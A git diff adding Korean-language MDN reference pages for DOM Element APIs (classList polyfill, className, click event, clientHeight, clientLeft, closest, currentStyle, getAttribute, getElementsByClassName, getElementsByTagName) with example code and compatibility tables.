+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange && (prop==="className" || (prop==="classList" && !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 & IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster & cleaner version for IE8 & IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length > 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value && (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue && (this.add(newToken), true));
+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: that[nextIndex], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: nextIndex, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+
+ +

Caveats

+ +

The polyfill is limited in functionality. It's currently unable to polyfill out-of-document-elements (e.g. elements created by document.createElement before they are appended to a parent node) in IE6-7.

+ +

However, it should work just fine in IE9. A major discrepancy between the polyfilled version of classList and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.

+ +

A minor note is that in IE6-7, this polyfill uses the window[" uCL"] property on the window object for communicating with the CSS expressions, the x-uCLp css property on all elements, and the element[" uCL"] property on all elements to allow garbage collection and boost performance. In all polyfilled browsers (IE6-9), an additional element[" uCLp"] property is added to element to ensure standards compliant prototyping, and a DOMTokenList[" uCL"]property is added to each element["classList"] object to ensure that the DOMTokenList is bounded to its own element.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM WHATWG")}}Initial definition
{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM4")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.classList")}}

+ +

참고

+ + diff --git a/files/ko/web/api/element/classname/index.html b/files/ko/web/api/element/classname/index.html new file mode 100644 index 0000000000..866678adb2 --- /dev/null +++ b/files/ko/web/api/element/classname/index.html @@ -0,0 +1,122 @@ +--- +title: Element.className +slug: Web/API/Element/className +translation_of: Web/API/Element/className +--- +
{{APIRef("DOM")}}
+ +

개요

+ +

className 특정 엘리먼트의 클래스 속성의 값을 가져오거나 설정할 수 있다.

+ +

문법

+ +
var cName = elementNodeReference.className;
+elementNodeReference.className = cName;
+ + + +

예제

+ +
let elm = document.getElementById('item');
+
+if(elm.className === 'active'){
+    elm.className = 'inactive';
+} else {
+    elm.className = 'active';
+}
+ +

주의

+ +

많은 언어에서 DOM 조작을 위해 사용되는 "class " 키워드와의 혼란을 줄이기 위하여 class 대신 className이라는 프로퍼티 명을 사용한다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세서상태주석
{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-element-classname", "element.className")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

살펴보기

+ + diff --git a/files/ko/web/api/element/click_event/index.html b/files/ko/web/api/element/click_event/index.html new file mode 100644 index 0000000000..97a03f2921 --- /dev/null +++ b/files/ko/web/api/element/click_event/index.html @@ -0,0 +1,227 @@ +--- +title: click +slug: Web/API/Element/click_event +tags: + - API + - DOM + - Event + - Interface + - Reference +translation_of: Web/API/Element/click_event +--- +
{{APIRef}}
+ +

click 이벤트는 포인팅 디바이스 버튼(일반적으로 마우스 기본 버튼)이 하나의 요소(엘리먼트)에서 눌려지고 놓을 때 시작합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface{{domxref("MouseEvent")}}
Sync / AsyncSync
BubblesYes
CancelableYes
Target{{domxref("Element")}}
ComposedYes
Default ActionVaries
+ +

속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}이벤트 타겟 (DOM 트리 내에서의 최상위 타겟).
type {{readonlyInline}}{{domxref("DOMString")}}이벤트의 타입.
bubbles {{readonlyInline}}{{domxref("Boolean")}}이벤트가 정상적으로 버블을 발생시키는지 여부
cancelable {{readonlyInline}}{{domxref("Boolean")}}이벤트 취소 가능 여부
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (문서의 window)
detail {{readonlyInline}}long (float)짧은 시간 내에 발생한 연속 클릭 수로, 1씩 증가합니다.
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}이벤트 리스너가 연결된 노드.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}ouseover, mouseout, mouseenter, mouseleave 이벤트: 이벤트에 대한 보조 타겟 (mouseenter 의 경우는 mouseleave 타겟). 그렇지 않으면 null을 반환합니다.
screenX {{readonlyInline}}long글로벌(스크린) 좌표에서 마우스 포인터의 X 좌표.
screenY {{readonlyInline}}long글로벌(스크린) 좌표에서 마우스 포인터의 Y 좌표.
clientX {{readonlyInline}}long로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 X 좌표.
clientY {{readonlyInline}}long로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 Y 좌표.
button {{readonlyInline}}unsigned short마우스 이벤트가 발생했을 때 누른 버튼 번호: 왼쪽 버튼=0, 가운데 버튼=1 (있다면), 오른쪽 버튼=2. 왼손잡이용 마우스의 경우 버튼 동작을 반대로하면, 값은 오른쪽에서 왼쪽으로 읽습니다.
buttons {{readonlyInline}}unsigned short마우스 이벤트가 발생했을 때 눌려진 버튼: 왼쪽 버튼=1, 오른쪽 버튼=2, 가운데(휠) 버튼=4, 4번째 버튼(일반적으로 브라우저의 뒤로가기 버튼)=8, 5번째 버튼 (일반적으로 앞으로가기 버튼)=16. 두개 이상의 버튼을 누르면, 값의 논리합이 반환됩니다. 예를 들어 왼쪽 버튼과 오른쪽 버튼을 누르면 3이 반환됩니다. (1 | 2). 보다 자세한건 여기를 참조하세요.
mozPressure {{readonlyInline}}float이벤트를 발생시킬 때 터치 또는 탭 장치에 적용되는 압력의 양; 이 값의 범위는 0.0(최소 압력)과 1.0(최대 압력) 사이 입니다.
ctrlKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 컨트롤 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
shiftKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 시프트 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
altKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 알트 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
metaKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 메타 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
+ +

예제

+ +

다음 예제는 {{htmlelement("button")}}의 연속한 클릭 수를 표시합니다.

+ +

HTML

+ +
<button>Click</button>
+
+ +

JavaScript

+ +
const button = document.querySelector('button');
+
+button.addEventListener('click', event => {
+  button.innerHTML = `클릭 수: ${event.detail}`;
+});
+
+ +

결과

+ +

빠르고 반복적인 클릭으로 카운터를 늘려보세요. 클릭 중간에 쉬면 숫자가 초기화됩니다.

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-click')}}{{Spec2('UI Events')}}Specifies this event as composed.
{{SpecName('DOM3 Events', '#event-type-click', 'click')}}{{Spec2('DOM3 Events')}} 
{{SpecName('DOM2 Events', '#Events-eventgroupings-mouseevents-h3', 'click')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Element.click_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/clientheight/index.html b/files/ko/web/api/element/clientheight/index.html new file mode 100644 index 0000000000..764e72b18d --- /dev/null +++ b/files/ko/web/api/element/clientheight/index.html @@ -0,0 +1,70 @@ +--- +title: Element.clientHeight +slug: Web/API/Element/clientHeight +translation_of: Web/API/Element/clientHeight +--- +

{{ APIRef() }}

+ +

읽기 전용 속성인 Element.clientHeight 엘리먼트의 내부 높이를 픽셀로 반환합니다. 이 내부 높이라는 것은 내부 여백(padding)을 포함하지만, 수평 스크롤바의 높이, 경계선, 또는 외부 여백(margin)은 포함하지 않습니다.

+ +

clientHeight는 CSS상의 높이 + CSS상의 내부 여백 - 수평 스크롤바의 높이(존재하는 경우에만)로  계산됩니다.

+ +
+

Note: 이 속성은 integer로 반올림됩니다. 소수점이 포함된 값이 필요하다면, {{ domxref("element.getBoundingClientRect()") }}을 사용하시기 바랍니다.

+
+ +

구문

+ +
var h = element.clientHeight;
+ +

h는 엘리먼트의 높이를 나타내는 픽셀 단위의 integer입니다.

+ +

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from http://www.best-cat-art.com/

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom
+ +

 

+ +

스펙 정의

+ + + + + + + + + + + + + + + + +
스펙상태코멘트
{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}{{Spec2('CSSOM View')}} 
+ +

주의

+ +

clientHeight는 Internet Explorer의 객체 모델에서 소개된 속성입니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/clientleft/index.html b/files/ko/web/api/element/clientleft/index.html new file mode 100644 index 0000000000..9e7afd0a4e --- /dev/null +++ b/files/ko/web/api/element/clientleft/index.html @@ -0,0 +1,66 @@ +--- +title: Element.clientLeft +slug: Web/API/Element/clientLeft +translation_of: Web/API/Element/clientLeft +--- +
{{ APIRef("DOM") }}
+ +

엘리먼트의 왼쪽 테두리의 너비 (픽셀 단위)입니다. 엘리먼트의 텍스트 방향이 오른쪽에서 왼쪽이고 오버플로로 인해 왼쪽 수직 스크롤 막대가 렌더링되는 경우 수직 스크롤 막대의 너비가 포함됩니다. clientLeft는 왼쪽 여백 또는 왼쪽 패딩을 포함하지 않습니다. clientLeft는 읽기 전용입니다.

+ +

Gecko 기반 응용 프로그램은 Gecko 1.9부터 clientLeft를 지원합니다. (Firefox 3, {{ Bug(111207) }}에서 구현됨). 이 속성은 Firefox 2 이전 버전은 지원하지 않습니다.

+ +

layout.scrollbar.side 환경 설정이 1 또는 3으로 설정되고 텍스트 방향이 RTL로 설정된 경우 세로 스크롤 막대가 왼쪽에 배치되며 이는 clientLeft가 계산되는 방식에 영향을줍니다.

+ +
+

Note: 이 속성은 값을 정수로 반올림합니다. 소수점 단위 값이 필요할 경우, {{ domxref("element.getBoundingClientRect()") }}을 사용하십시오.

+
+ +

Syntax

+ +
var left = element.clientLeft;
+
+ +

Example

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}{{Spec2("CSSOM View")}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.clientLeft")}}

+ +

Notes

+ +

clientLeft was first introduced in the MS IE DHTML object model.

+ +

The position of the vertical scrollbar in right–to–left text direction set on the element will depend on the layout.scrollbar.side preference

+ +

When element has display: inline, then clientLeft returns 0 regardless of the element's border.

diff --git a/files/ko/web/api/element/closest/index.html b/files/ko/web/api/element/closest/index.html new file mode 100644 index 0000000000..2bafcaa294 --- /dev/null +++ b/files/ko/web/api/element/closest/index.html @@ -0,0 +1,145 @@ +--- +title: Element.closest() +slug: Web/API/Element/closest +translation_of: Web/API/Element/closest +--- +
{{APIRef('DOM')}}
+ +
+ +
기준 {{domxref("Element")}} 에서부터 closest() 메소드를 통해 자신부터 부모 요소 단위로 출발하여 각 요소가 지정한 선택자에 만족할 때까지 탐색한다(문서 루트까지 이동). 이 중 가장 가깝게 조건에 만족한 부모 요소가 반환되며, 조건에 만족한 요소가 없으면 null 값을 반환한다.
+ +

Syntax

+ +
var closestElement = targetElement.closest(selectors);
+
+ +

Parameters

+ + + +

Result value

+ + + +

Exceptions

+ + + +

Example

+ +

HTML

+ +
<article>
+  <div id="div-01">Here is div-01
+    <div id="div-02">Here is div-02
+      <div id="div-03">Here is div-03</div>
+    </div>
+  </div>
+</article>
+ +

JavaScript

+ +
var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// id=div-02 조건이 만족하므로 속성을 가진 부모 요소가 반환된다.
+
+var r2 = el.closest("div div");
+// div 요소에 만족한 요소 중 div 자식을 가리키므로, id=div-03 자신이 만족된다.
+
+var r3 = el.closest("article > div");
+// 가장 가까운 article 요소 바로 하위의 div 요소 id=div-01 속성을 가진 요소가 반환된다.
+
+var r4 = el.closest(":not(div)");
+// div 요소가 아닌 가장 가까운 부모 article 요소가 반환된다.
+ +

Polyfill

+ +

아래 폴리필은 Element.closest(), 메소드를 지원하지 않는 브라우저를 위한 방법이지만, element.matches() 메소드를 사용하므로 IE 9 이상에서 동작한다.

+ +
if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+  Element.prototype.closest = function(s) {
+    var el = this;
+
+    do {
+      if (el.matches(s)) return el;
+      el = el.parentElement || el.parentNode;
+    } while (el !== null && el.nodeType === 1);
+    return null;
+  };
+}
+ +

만약 정말 IE 8 지원을 고려해야 한다면, 아래 폴리필을 사용할 수 있다. 그러나 해당 폴리필은 성능이 매우 느리며, IE 8 특성 상 CSS 2.1 사양의 선택자까지밖에 사용할 수 없다. 또한 실제 운영 시 약간의 지연이 발생할 수 있다.

+ +
if (window.Element && !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i >= 0 && matches.item(i) !== el) {};
+    } while ((i < 0) && (el = el.parentElement));
+    return el;
+  };
+}
+
+ +

규격

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Element.closest")}}

+ +

Compatibility notes

+ + +
+ +

같이보기

+ + diff --git a/files/ko/web/api/element/currentstyle/index.html b/files/ko/web/api/element/currentstyle/index.html new file mode 100644 index 0000000000..a18422e884 --- /dev/null +++ b/files/ko/web/api/element/currentstyle/index.html @@ -0,0 +1,80 @@ +--- +title: Element.currentStyle +slug: Web/API/Element/currentStyle +tags: + - 돔 + - 속성 추출 + - 요소 속성 +translation_of: Web/API/Element/currentStyle +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

Summary

+ +

Element.currentStyle 은 표준화된 {{domxref("window.getComputedStyle")}} 메서드의 인터넷 익스플로러 전용 대체 프로퍼티입니다. 오래된 버젼의 인터넷 익스플로러에서 사용 가능합니다.

+ +

Specification

+ +

명세에 포함 되는 부분이 아닙니다.

+ +

마이크로소프트 MSDN에 설명이 있습니다.

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/ko/web/api/element/getattribute/index.html b/files/ko/web/api/element/getattribute/index.html new file mode 100644 index 0000000000..c8f3947310 --- /dev/null +++ b/files/ko/web/api/element/getattribute/index.html @@ -0,0 +1,53 @@ +--- +title: Element.getAttribute() +slug: Web/API/Element/getAttribute +tags: + - API + - DOM + - 속성 +translation_of: Web/API/Element/getAttribute +--- +
{{APIRef}}
+ +

요약

+ +

getAttribute() 은 해당 요소에 지정된 값을 반환 합니다. 만약 주어진 속성이 존재 하지 않는 다면, null 값이나 ""(빈문자열); 을 반환 할 것입니다. 자세한 사항은 {{Anch("Notes")}}  참조 하십시오.

+ +

문법

+ +
var attribute = element.getAttribute(attributeName);
+
+ + + +

예제

+ +
let div1 = document.getElementById("div1");
+let align = div1.getAttribute("align");
+
+alert(align); // id가 "div1"인 요소(element)의 align 값을 보여줍니다.
+
+ +

Notes

+ +

When called on an HTML element in a DOM flagged as an HTML document, getAttribute() lower-cases its argument before proceeding.

+ +

Essentially all web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element; this is what the current DOM specification draft specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some DOM implementations implement this behavior. The implementation of getAttribute() in XUL (Gecko) actually follows the DOM 3 Core specification and returns an empty string. Consequently, you should use {{domxref("element.hasAttribute()")}} to check for an attribute's existence prior to calling getAttribute() if it is possible that the requested attribute does not exist on the specified element.

+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Element.getAttribute")}}

+
+ +

Specification

+ + diff --git a/files/ko/web/api/element/getelementsbyclassname/index.html b/files/ko/web/api/element/getelementsbyclassname/index.html new file mode 100644 index 0000000000..f33e43b019 --- /dev/null +++ b/files/ko/web/api/element/getelementsbyclassname/index.html @@ -0,0 +1,108 @@ +--- +title: Element.getElementsByClassName() +slug: Web/API/Element/getElementsByClassName +translation_of: Web/API/Element/getElementsByClassName +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Element")}}의 메소드 getElementsByClassName() 는 주어진 클래스를 가진 모든 자식 엘리먼트의 실시간 {{domxref("HTMLCollection")}} 을 반환합니다.

+ +

{{domxref("Document")}}의 {{domxref("Document.getElementsByClassName", "getElementsByClassName()")}} 메소드는 도큐먼트 루트로부터 도큐먼트 전체를 탐색한다는 점을 제외하고는 동일하게 작동합니다. 

+ +

Syntax

+ +
var elements = element.getElementsByClassName(names);
+ +

Parameters

+ +
+
names
+
검색할 클래스 혹은 클래스들을 띄어쓰기로 구분한 {{domxref("DOMString")}}
+
+ +

Return value

+ +

실시간으로 업데이트되는 해당 클래스명을 가진 요소 목록의 {{domxref("HTMLCollection")}} 이 반환됩니다.

+ +

Usage notes

+ +

항상 그렇듯, 반환되는 collection은 실시간입니다. 즉, 함수가 호출된 이후에도 DOM 트리의 현재 상태가 반영됩니다. names 에 해당하는 클래스를 가진 요소가 하위에 추가되면, 그 요소는 즉시 collection에 나타납니다. 비슷하게, names 에 매칭되는 클래스를 갖고 있지 않은 요소에 매칭되는 클래스명이 적용되면, 그 요소 역시 즉시 collection에 나타나게 됩니다.

+ +

반대도 역시 마찬가지입니다. 클래스명이 더 이상 names 와 일치하지 않게 되면, collection으로 부터 즉시 제거됩니다.

+ +
+

호환모드에서는 클래스명의 대소문자를 구분하지 않습니다. 그 외의 경우에는, 대소문자를 구분합니다.

+
+ +

Examples

+ +

단일 클래스 찾기

+ +

요소들 중 하나의 클래스를 포함하고 있는 요소를 검색하기 위해서는, 그 클래스명을 getElementsByClassName()의 인자로 넣으세요:

+ +
element.getElementsByClassName('test');
+ +

아래의 예시는 main 이라는 id 를 가진 요소의 하위 요소들 중 test라는 클래스를 가진 모든 요소를 탐색합니다. 

+ +
document.getElementById('main').getElementsByClassName('test');
+ +

여러개의 클래스로 탐색하기

+ +

red 와 test 라는 클래스를 모두 포함하고 있는 요소를 탐색하기 위해서는 다음과 같이 합니다:

+ +
element.getElementsByClassName('red test');
+ +

결과값 검토하기

+ +

collection의 개별 요소를 가져오기 위해 HTMLCollection 의{{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 표준 배열 문법을 사용할 수 있습니다. 아래는 잘못된 코드의 예시입니다. "matches" 는 "colorbox" 클래스가 삭제됨에 따라 바로 변경될것이기 때문에  아래의 코드는 작동하지 않습니다.

+ +
var matches = element.getElementsByClassName('colorbox');
+
+for (var i=0; i<matches.length; i++) {
+  matches[i].classList.remove('colorbox');
+  matches.item(i).classList.add('hueframe');
+}
+
+ +

대신 다른 방법을 사용하세요. 예시:

+ +
var matches = element.getElementsByClassName('colorbox');
+
+while (matches.length > 0) {
+  matches.item(0).classList.add('hueframe');
+  matches[0].classList.remove('colorbox');
+}
+ +

위 코드는  "colorbox" 클래스를 가진 모든 자식 요소를 찾고, item(0) 을 호출해 "hueframe"이라는 클래스를 추가합니다 . 그리고 "colorbox"  클래스를 제거합니다(배열 표기법을 사용하여). 다른 요소 (만약 남아있다면) 가 item(0) 이 될 것입니다.

+ +

배열 함수를 이용해 결과값을 필터링하기

+ +

{{domxref("HTMLCollection")}}을 this 로 사용하면 {{jsxref("Array.prototype")}} 을 어떤 {{ domxref("HTMLCollection") }}에서든 사용할 수 있습니다. 아래의 예제에서는 test 클래스를 가진 모든 {{HTMLElement("div")}} 요소를 찾아봅니다 :

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement) {
+  return testElement.nodeName === 'DIV';
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.getElementsByClassName")}}

diff --git a/files/ko/web/api/element/getelementsbytagname/index.html b/files/ko/web/api/element/getelementsbytagname/index.html new file mode 100644 index 0000000000..345a8503f4 --- /dev/null +++ b/files/ko/web/api/element/getelementsbytagname/index.html @@ -0,0 +1,136 @@ +--- +title: Element.getElementsByTagName() +slug: Web/API/Element/getElementsByTagName +translation_of: Web/API/Element/getElementsByTagName +--- +

{{ APIRef("DOM") }}

+ +

Element.getElementsByTagName() 메서드는 제공된 태그 네임(tag name)을 가지는 엘리먼트의 유효한 {{domxref("HTML 컬랙션")}}를 반환합니다. 엘리먼트가 특정된 범위를 검색하는 경우, 그 자신의 엘리먼트는 제외하고, 특정된 엘리먼트의 하위에 있는 서브트리가 검색됩니다. 반환된 리스트가 live 상태이면,  리스트는 DOM 트리와 함께 자동적으로 업데이트 되는 것을 의미합니다. 결과적으로, 동일한 엘리먼트와 인자값으로 Element.getElementsByTagName()을 여러번 호출할 필요성은 없어집니다.

+ +

HTML 문서 내에서 HTML 엘리먼트가 호출되면, getElementsByTagName는 진행하기 전에 그 인자들을 소문자로 변환합니다. 따라서, 카멜케이스로 이루어진 SVG 엘리먼트를 HTML문서의 서브트리 내에서 매칭하고자 하는 경우에는 {{ domxref("Element.getElementsByTagNameNS()") }}을 사용해야 합니다.

+ +

